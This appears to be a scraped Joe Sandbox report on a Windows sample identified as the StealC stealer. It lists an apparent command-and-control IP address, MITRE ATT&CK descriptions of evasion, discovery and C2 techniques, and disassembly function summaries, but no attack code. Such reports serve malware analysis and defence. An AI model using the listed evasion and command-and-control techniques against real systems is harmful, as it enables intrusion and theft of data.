Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00EB9BB0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00EA4610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00EA62D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00EB7690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00EB9F20 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00EA48D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00EB5760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00EB19F0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00EB6C90 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00EB6D93 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00EA4800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00EB5440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Function 00EA1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON